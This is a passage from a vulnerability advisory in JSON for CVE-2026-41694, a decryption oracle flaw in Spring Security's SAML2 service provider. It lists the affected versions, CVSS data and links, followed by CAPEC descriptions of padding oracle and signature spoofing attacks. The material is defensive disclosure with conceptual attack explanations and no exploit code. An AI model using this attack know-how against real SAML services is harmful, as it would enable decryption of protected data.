        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-saml2-service-provider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.3.0"
            },
            {
              "last_affected": "6.3.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-saml2-service-provider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.8.0"
            },
            {
              "last_affected": "5.8.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-saml2-service-provider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.7.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41694"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-12T16:22:24Z",
    "nvd_published_at": "2026-06-10T00:16:50Z",
    "severity": "LOW"
  },
  "details": "Since Spring Security SAML decrypts SAML Responses as well as elements of SAML LogoutRequests and LogoutResponses without requiring a valid signature, attackers may be able to craft these SAML payloads and use the Service Provider as a decryption oracle.\n\nAffected versions:\nSpring Security 5.7.0 through 5.7.23; 5.8.0 through 5.8.25; 6.3.0 through 6.3.16; 6.4.0 through 6.4.16; 6.5.0 through 6.5.10; 7.0.0 through 7.0.5.",
  "id": "GHSA-ww38-37g9-m3q3",
  "modified": "2026-08-12T16:22:24Z",
  "published": "2026-06-10T00:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41694"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-security"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-security/releases/tag/6.5.11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-security/releases/tag/7.0.6"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-41694"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring Security SAML2 Service Provider: Decryption Oracle Vulnerability from Unsigned SAML Response and Logout Payloads"
}

No mitigation information available for this CWE.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.